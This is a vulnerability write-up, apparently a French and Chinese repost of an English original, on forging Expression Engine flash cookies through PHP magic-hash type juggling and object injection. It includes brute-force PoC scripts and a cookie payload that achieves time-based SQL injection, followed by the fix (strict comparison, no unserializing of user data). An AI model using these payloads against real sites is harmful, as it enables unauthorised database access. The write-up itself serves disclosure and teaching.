Une intrusion de sécurité utilisant des types faibles et une injection d'objets est partagée

*文
Libérer: 2023-03-18 09:26:01
original
1538 Les gens l'ont consulté

La sécurité est le problème le plus important rencontré lors du lancement d'un site Web. Il n’y a pas de sécurité absolue, seulement une confrontation constante en matière d’attaque et de défense. Ne pas faire confiance aux données soumises par les utilisateurs est le premier objectif de cet article. Cet article partage une intrusion de sécurité utilisant des types faibles et l'injection d'objets, dans l'espoir de donner à chacun une idée plus claire de la sécurité des sites Web.

Récemment, en recherchant des vulnérabilités dans une cible, je suis tombé sur un hébergeur exécutant Expression Engine, une plateforme CMS. Cette application particulière m'a attiré car lorsque j'ai essayé de me connecter à l'application en utilisant "admin" comme nom d'utilisateur, le serveur a répondu avec un cookie contenant des données sérialisées PHP. Comme nous l'avons déjà dit, la désérialisation des données fournies par l'utilisateur peut conduire à des résultats inattendus dans certains cas, voire à l'exécution de code. J'ai donc décidé de le vérifier attentivement, au lieu de le tester aveuglément, de voir d'abord si je peux télécharger le code source de ce CMS, d'utiliser le code pour comprendre ce qui s'est passé lors du processus de sérialisation des données, puis de démarrer une construction locale. Copie pour test.

Après avoir eu le code source de ce CMS, j'ai utilisé la commande grep pour localiser l'emplacement où les cookies sont utilisés, et j'ai trouvé le fichier "./system/ee/legacy/libraries/Session.php" et constaté que des cookies étaient utilisés pour la maintenance des sessions utilisateur, ce résultat est très significatif. Après avoir regardé de plus près Session.php, j'ai trouvé la méthode suivante, qui se charge de désérialiser les données sérialisées :

  protected function _prep_flashdata()
  {
    if ($cookie = ee()->input->cookie('flash'))
    {
      if (strlen($cookie) > 32)
      {
        $signature = substr($cookie, -32);
        $payload = substr($cookie, 0, -32);
        if (md5($payload.$this->sess_crypt_key) == $signature)
        {
          $this->flashdata = unserialize(stripslashes($payload));
          $this->_age_flashdata();
          return;
        }
      }
    }
    $this->flashdata = array();
  }
Copier après la connexion

Grâce au code, nous pouvons le voir dans notre cookie est analysé à travers une série de contrôles puis désérialisé à la ligne 1293. Alors jetons d'abord un œil à notre cookie et vérifions si nous pouvons appeler « unserialize() » :

a%3A2%3A%7Bs%3A13%3A%22%3Anew%3Ausername%22%3Bs%3A5%3A%22admin%22%3Bs%3A12%3A%22%3Anew%3Amessage%22%3Bs%3A38%3A%22That+is+the+wrong+username+or+password%22%3B%7D3f7d80e10a3d9c0a25c5f56199b067d4
Copier après la connexion

L'URL décodée est la suivante :

a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4
Copier après la connexion

Si un cookie flash existe, nous chargeons les données dans la variable "$cookie" (code à la ligne 1284) et poursuivons l'exécution. Ensuite, nous vérifions si la longueur des données du cookie est supérieure à 32 (code à la ligne 1286) et poursuivons l'exécution. Maintenant, nous utilisons "substr()" pour obtenir les 32 derniers caractères des données du cookie et les stocker dans la variable "$signature", puis stocker le reste des données du cookie dans "$payload" comme indiqué ci-dessous :

$ php -a
Interactive mode enabled
php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4';
php > $signature = substr($cookie, -32);
php > $payload = substr($cookie, 0, -32);
php > print "Signature: $signature\n";
Signature: 3f7d80e10a3d9c0a25c5f56199b067d4
php > print "Payload: $payload\n";
Payload: prod_flash=a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:29:"Invalid username or password.";}
php >
Copier après la connexion

Maintenant, dans le code à la ligne 1291, nous calculons le hachage md5 de "$payload.$this->sess_crypt_key" et le comparons avec ce que nous avons ci-dessus. Comparez le "$signature" fourni à la fin du cookie affiché. Un rapide coup d'œil au code a révélé que la valeur de "$this->sess_crypt_cookie" est transmise depuis le fichier "./system/user/config/config.php" créé lors de l'installation :

./system/user/config/config.php:$config['encryption_key'] = '033bc11c2170b83b2ffaaff1323834ac40406b79';
Copier après la connexion

Définissons donc manuellement ce « $this->sess_crypt_key » comme « $salt » et regardons le hachage md5 :

php > $salt = '033bc11c2170b83b2ffaaff1323834ac40406b79';
php > print md5($payload.$salt);
3f7d80e10a3d9c0a25c5f56199b067d4
php >
Copier après la connexion


Assurez-vous que le hachage md5 est égal à "$signature". La raison de cette vérification est de s'assurer que la valeur de "$payload" (c'est-à-dire les données sérialisées) n'a pas été falsifiée. En tant que tel, cette vérification est en effet suffisante pour empêcher une telle falsification ; cependant, comme PHP est un langage faiblement typé, il existe certains pièges lors des comparaisons.

Des comparaisons lâches conduisent à un « chavirage »

Regardons quelques cas de comparaison lâches pour obtenir une bonne façon de construire la charge utile :

<?php 
  
$a = 1;
$b = 1;
  
var_dump($a);
var_dump($b);
  
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
?>
Copier après la connexion

Sortie :

$ php steps.php
int(1)
int(1)
a and b are the same
Copier après la connexion
<?php 
  
$a = 1;
$b = 0;
  
var_dump($a);
var_dump($b);
  
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
  
?>
Copier après la connexion

Sortie :
$ php steps.php
int(1)
int(0)
a and b are NOT the same
Copier après la connexion
<?php 
  
$a = "these are the same";
$b = "these are the same";
  
var_dump($a);
var_dump($b);
  
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
  
?>
Copier après la connexion

$ php steps.php
string(18) "these are the same"
string(18) "these are the same"
a and b are the same
Copier après la connexion
<?php 
  
$a = "these are NOT the same";
$b = "these are the same";
  
var_dump($a);
var_dump($b);
  
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
  
?>
Copier après la connexion

Il semble que PHP soit "utile" dans les opérations de comparaison et convertira la chaîne en entier. Enfin, voyons maintenant ce qui se passe lorsque nous comparons deux chaînes qui ressemblent à des entiers écrits en notation scientifique :

$ php steps.php
string(22) "these are NOT the same"
string(18) "these are the same"
a and b are NOT the same
Copier après la connexion
Sortie :


<?php
$a = "0e111111111111111111111111111111";
$b = "0e222222222222222222222222222222";
var_dump($a);
var_dump($b);
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
?>
Copier après la connexion
Comme vous pouvez le voir dans les résultats ci-dessus, même si la variable "$a" et la variable "$b" sont toutes deux des types de chaîne et ont évidemment des valeurs différentes, utilisez l'opérateur de comparaison détendu pour que la comparaison soit évaluée. à vrai car "0ex" est toujours zéro lorsqu'il est converti en entier en PHP. C’est ce qu’on appelle la jonglerie de types.

Comparaison de types faibles - Jonglerie de types
$ php steps.php
string(32) "0e111111111111111111111111111111"
string(32) "0e222222222222222222222222222222"
a and b are the same
Copier après la connexion

Avec ces nouvelles connaissances, réexaminons les contrôles qui sont censés nous empêcher de falsifier les données sérialisées :


Ici, nous pouvons contrôler la valeur de "$payload" et la valeur de "$signature", donc si nous pouvons trouver une charge utile telle que "$this-> sess_crypt_key" devient une chaîne commençant par 0e et se terminant par tous les nombres, ou la valeur de hachage MD5 de "$signature" est définie sur une valeur commençant par 0e et se terminant par tous les nombres, nous pouvons contourner avec succès ce type d'inspection.

Pour tester cette idée, j'ai modifié du code que j'ai trouvé en ligne, je vais forcer brutalement "md5($payload.$this->sess_crypt_key) jusqu'à ce que ma charge utile "falsifiée" apparaisse. Jetez un œil à ce que le "$payload" original ressemblait à :
if (md5($payload.$this->sess_crypt_key) == $signature)
Copier après la connexion


Dans ma nouvelle variable "$payload", ce qui est affiché est "Nom d'utilisateur ou mot de passe incorrect " à la place, je voulais que "taquito" soit affiché.

序列化数组的第一个元素“[:new:username] => admin”似乎是一个可以创建一个随机值的好地方,所以这就是我们的爆破点。

注意:这个PoC是在我本地离线工作,因为我有权访问我自己的实例“$ this-> sess_crypt_key”,如果我们不知道这个值,那么我们就只能在线进行爆破了。

<?php
set_time_limit(0);
define(&#39;HASH_ALGO&#39;, &#39;md5&#39;);
define(&#39;PASSWORD_MAX_LENGTH&#39;, 8);
$charset = &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#39;;
$str_length = strlen($charset);
function check($garbage)
{
    $length = strlen($garbage);
    $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79";
    $payload = &#39;a:2:{s:13:":new:username";s:&#39;.$length.&#39;:"&#39;.$garbage.&#39;";s:12:":new:message";s:7:"taquito";}&#39;;
    #echo "Testing: " . $payload . "\n";
        $hash = md5($payload.$salt);
        $pre = "0e";
    if (substr($hash, 0, 2) === $pre) {
        if (is_numeric($hash)) {
          echo "$payload - $hash\n";
        }
      }
}
function recurse($width, $position, $base_string)
{
        global $charset, $str_length;
        for ($i = 0; $i < $str_length; ++$i) {
                if ($position  < $width - 1) {
                        recurse($width, $position + 1, $base_string . $charset[$i]);
                }
                check($base_string . $charset[$i]);
        }
}
for ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) {
        echo "Checking passwords with length: $i\n";
        recurse($i, 0, &#39;&#39;);
}
?>
Copier après la connexion


当运行上面的代码后,我们得到了一个修改过的“$ payload”的 md5哈希值并且我们的 “$ this-> sess_crypt_key”的实例是以0e开头,并以数字结尾:

$ php poc1.php
Checking passwords with length: 1
Checking passwords with length: 2
Checking passwords with length: 3
Checking passwords with length: 4
Checking passwords with length: 5
a:2:{s:13:":new:username";s:5:"dLc5d";s:12:":new:message";s:7:"taquito";} - 0e553592359278167729317779925758
Copier après la connexion


让我们将这个散列值与任何“$ signature”的值(我们所能够提供的)进行比较,该值也以0e开头并以所有数字结尾:

<?php
$a = "0e553592359278167729317779925758";
$b = "0e222222222222222222222222222222";
var_dump($a);
var_dump($b);
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
?>
Copier après la connexion

Output:

$ php steps.php
string(32) "0e553592359278167729317779925758"
string(32) "0e222222222222222222222222222222"
a and b are the same
Copier après la connexion


正如你所看到的,我们已经通过(滥用)Type Juggling成功地修改了原始的“$ payload”以包含我们的新消息“taquito”。

当PHP对象注入与弱类型相遇会得到什么呢?SQLi么?

虽然能够在浏览器中修改显示的消息非常有趣,不过让我们来看看当我们把我们自己的任意数据传递到“unserialize()”后还可以做点什么。 为了节省自己的一些时间,让我们修改一下代码:

if(md5($ payload。$ this-> sess_crypt_key)== $ signature)
Copier après la connexion

修改为:if (1)

上述代码在“./system/ee/legacy/libraries/Session.php”文件中,修改之后,可以在执行“unserialize()”时,我们不必提供有效的签名。

现在,已知的是我们可以控制序列化数组里面“[:new:username] => admin”的值,我们继续看看“./system/ee/legacy/libraries/Session.php”的代码,并注意以下方法:

 function check_password_lockout($username = &#39;&#39;)
 {
   if (ee()->config->item(&#39;password_lockout&#39;) == &#39;n&#39; OR
     ee()->config->item(&#39;password_lockout_interval&#39;) == &#39;&#39;)
   {
     return FALSE;
   }
   $interval = ee()->config->item(&#39;password_lockout_interval&#39;) * 60;
   $lockout = ee()->db->select("COUNT(*) as count")
     ->where(&#39;login_date > &#39;, time() - $interval)
     ->where(&#39;ip_address&#39;, ee()->input->ip_address())
     ->where(&#39;username&#39;, $username)
     ->get(&#39;password_lockout&#39;);
   return ($lockout->row(&#39;count&#39;) >= 4) ? TRUE : FALSE;
 }
Copier après la connexion


这个方法没毛病,因为它在数据库中检查了提供的“$ username”是否被锁定为预认证。 因为我们可以控制“$ username”的值,所以我们应该能够在这里注入我们自己的SQL查询语句,从而导致一种SQL注入的形式。这个CMS使用了数据库驱动程序类来与数据库进行交互,但原始的查询语句看起来像这样(我们可以猜的相当接近):

SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > &#39;$interval&#39; AND `ip_address` = &#39;$ip_address&#39; AND `username` = &#39;$username&#39;;
Copier après la connexion


修改“$payload”为:

a:2:{s:13:":new:username";s:1:"&#39;";s:12:":new:message";s:7:"taquito";}
Copier après la connexion


并将其发送到页面出现了如下错误信息,但由于某些原因,我们什么也没有得到……

“Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line”
Copier après la connexion


不是我想要的类型…

经过一番搜索后,我在“./system/ee/legacy/database/DB_driver.php”中看到了以下代码:

 function escape($str)
 {
   if (is_string($str))
   {
     $str = "&#39;".$this->escape_str($str)."&#39;";
   }
   elseif (is_bool($str))
   {
     $str = ($str === FALSE) ? 0 : 1;
   }
   elseif (is_null($str))
   {
     $str = &#39;NULL&#39;;
   }
   return $str;
 }
Copier après la connexion


在第527行,我们看到程序对我们提供的值执行了“is_string()”检查,如果它返回了true,我们的值就会被转义。 我们可以通过在函数的开头和结尾放置“var_dump”并检查输出来确认这里到底发生了什么:

前:

string(1) "y"
int(1)
int(1)
int(1)
int(0)
int(1)
int(3)
int(0)
int(1)
int(1486399967)
string(11) "192.168.1.5"
string(1) "&#39;"
int(1)
Copier après la connexion


后:

string(3) "&#39;y&#39;"
int(1)
int(1)
int(1)
int(0)
int(1)
int(3)
int(0)
int(1)
int(1486400275)
string(13) "&#39;192.168.1.5&#39;"
string(4) "&#39;\&#39;&#39;"
int(1)
Copier après la connexion


果然,我们可以看到我们的“'”的值已经被转义,现在是“\'”。 幸运的是,对我们来说,我们还有办法。

转义检查只是检查看看“$ str”是一个字符串还是一个布尔值或是null; 如果它匹配不了任何这几个类型,“$ str”将返回非转义的值。 这意味着如果我们提供一个“对象”,那么我们应该能够绕过这个检查。 但是,这也意味着接下来我们需要搜索一个我们可以使用的对象。

自动加载给了我希望!

通常,当我们寻找可以利用unserialize的类时,我们通常使用魔术方法(如“__wakeup”或“__destruct”)来寻找类,但是有时候应用程序实际上会使用自动加载器。 自动加载背后的一般想法是,当一个对象被创建后,PHP就会检查它是否知道该类的任何东西,如果不是,它就会自动加载这个对象。 对我们来说,这意味着我们不必依赖包含“__wakeup”或“__destruct”方法的类。 我们只需要找到一个调用我们控制的“__toString”的类,因为应用程序会尝试将 “$ username”变量作为字符串使用。

寻找如这个文件中所包含的类:

“./system/ee/EllisLab/ExpressionEngine/Library/Parser/Conditional/Token/Variable.php”:
Copier après la connexion


<?php
  namespace EllisLab\ExpressionEngine\Library\Parser\Conditional\Token;
  class Variable extends Token {
    protected $has_value = FALSE;
    public function __construct($lexeme)
    {
      parent::__construct(&#39;VARIABLE&#39;, $lexeme);
    }
    public function canEvaluate()
    {
      return $this->has_value;
    }
    public function setValue($value)
    {
      if (is_string($value))
      {
        $value = str_replace(
          array(&#39;{&#39;, &#39;}&#39;),
          array(&#39;{&#39;, &#39;}&#39;),
          $value
        );
      }
      $this->value = $value;
      $this->has_value = TRUE;
    }
    public function value()
    {
      // in this case the parent assumption is wrong
      // our value is definitely *not* the template string
      if ( ! $this->has_value)
      {
        return NULL;
      }
      return $this->value;
    }
    public function __toString()
    {
      if ($this->has_value)
      {
        return var_export($this->value, TRUE);
      }
      return $this->lexeme;
    }
  }
  // EOF
Copier après la connexion


这个类看起来非常完美! 我们可以看到对象使用参数“$lexeme”调用了方法“__construct”,然后调用“__toString”,将参数“$ lexeme”作为字符串返回。 这正是我们正在寻找的类。 让我们组合起来快速为我们创建序列化对象对应的POC:

<?php
namespace EllisLab\ExpressionEngine\Library\Parser\Conditional\Token;
class Variable {
        public $lexeme = FALSE;
}
$x = new Variable();
$x->lexeme = "&#39;";
echo serialize($x)."\n";
?>
Output:
$ php poc.php
O:67:"EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable":1:{s:6:"lexeme";s:1:"&#39;";}
Copier après la connexion


经过几个小时的试验和错误尝试,最终得出一个结论:转义在搞鬼。 当我们将我们的对象添加到我们的数组中后,我们需要修改上面的对象(注意额外的斜线):

a:1:{s:13:":new:username";O:67:"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\Variable":1:{s:6:"lexeme";s:1:"&#39;";}}
Copier après la connexion


我们在代码之前插入用于调试的“var_dump”,然后发送上面的payload,显示的信息如下:

string(3) "&#39;y&#39;"
int(1)
int(1)
int(1)
int(0)
int(1)
int(3)
int(0)
int(1)
int(1486407246)
string(13) "&#39;192.168.1.5&#39;"
object(EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable)#177 (6) {
  ["has_value":protected]=>
  bool(false)
  ["type"]=>
  NULL
  ["lexeme"]=>
  string(1) "&#39;"
  ["context"]=>
  NULL
  ["lineno"]=>
  NULL
  ["value":protected]=>
  NULL
}
Copier après la connexion


注意,现在我们有了一个“对象”而不是一个“字符串”,“lexeme”的值是我们的非转义“'”的值!可以在页面中更进一步来确认:

<h1>Exception Caught</h1>
<h2>SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#39;&#39;&#39; at line 5:
SELECT COUNT(*) as count
FROM (`exp_password_lockout`)
WHERE `login_date` &gt;  1486407246
AND `ip_address` =  &#39;192.168.1.5&#39;
AND `username` =  &#39;</h2>
mysqli_connection.php:122
Copier après la connexion


Awww! 我们已经成功地通过PHP对象注入实现了SQL注入,从而将我们自己的数据注入到了SQL查询语句中!

PoC!

最后,我创建了一个PoC来将Sleep(5)注入到数据库。 最让我头疼的就是应用程序中计算“md5()”时的反斜杠的数量与成功执行“unserialize()”需要的斜杠数量, 不过,一旦发现解决办法,就可以导致以下结果:

<?php
set_time_limit(0);
define(&#39;HASH_ALGO&#39;, &#39;md5&#39;);
define(&#39;garbage_MAX_LENGTH&#39;, 8);
$charset = &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#39;;
$str_length = strlen($charset);
function check($garbage)
{
    $length = strlen($garbage) + 26;
    $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79";
    $payload = &#39;a:1:{s:+13:":new:username";O:67:"EllisLab\\\ExpressionEngine\\\Library\\\Parser\\\Conditional\\\Token\\\Variable":1:{s:+6:"lexeme";s:+&#39;.$length.&#39;:"1 UNION SELECT SLEEP(5) # &#39;.$garbage.&#39;";}}&#39;;
    #echo "Testing: " . $payload . "\n";
        $hash = md5($payload.$salt);
        $pre = "0e";
    if (substr($hash, 0, 2) === $pre) {
        if (is_numeric($hash)) {
          echo "$payload - $hash\n";
        }
      }
}
function recurse($width, $position, $base_string)
{
        global $charset, $str_length;
        for ($i = 0; $i < $str_length; ++$i) {
                if ($position  < $width - 1) {
                        recurse($width, $position + 1, $base_string . $charset[$i]);
                }
                check($base_string . $charset[$i]);
        }
}
for ($i = 1; $i < garbage_MAX_LENGTH + 1; ++$i) {
        echo "Checking garbages with length: $i\n";
        recurse($i, 0, &#39;&#39;);
}
?>
Copier après la connexion

Output:

$ php poc2.php
a:1:{s:+13:":new:username";O:67:"EllisLab\\ExpressionEngine\\Library\\Parser\\Conditional\\Token\\Variable":1:{s:+6:"lexeme";s:+31:"1 UNION SELECT SLEEP(5) # v40vP";}} - 0e223968250284091802226333601821
Copier après la connexion


以及我们发送到服务器的payload(再次注意那些额外的斜杠):

Cookie: exp_flash=a%3a1%3a{s%3a%2b13%3a"%3anew%3ausername"%3bO%3a67%3a"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\\Variable"%3a1%3a{s%3a%2b6%3a"lexeme"%3bs%3a%2b31%3a"1+UNION+SELECT+SLEEP(5)+%23+v40vP"%3b}}0e223968250284091802226333601821
Copier après la connexion

   


五秒后我们就得到了服务器的响应。

修复方案!

这种类型的漏洞修复真的可以归结为一个“=”,将:if (md5($payload.$this->sess_crypt_key) == $signature)替换为:if (md5($payload.$this->sess_crypt_key) === $signature)

除此之外,不要“unserialize()”用户提供的数据!

相关推荐:

PHPer必知:6个常见的PHP安全性攻击!

php 安全过滤函数代码_PHP教程

php 安全的URL字符串base64编码和解码实例代码

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:php.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal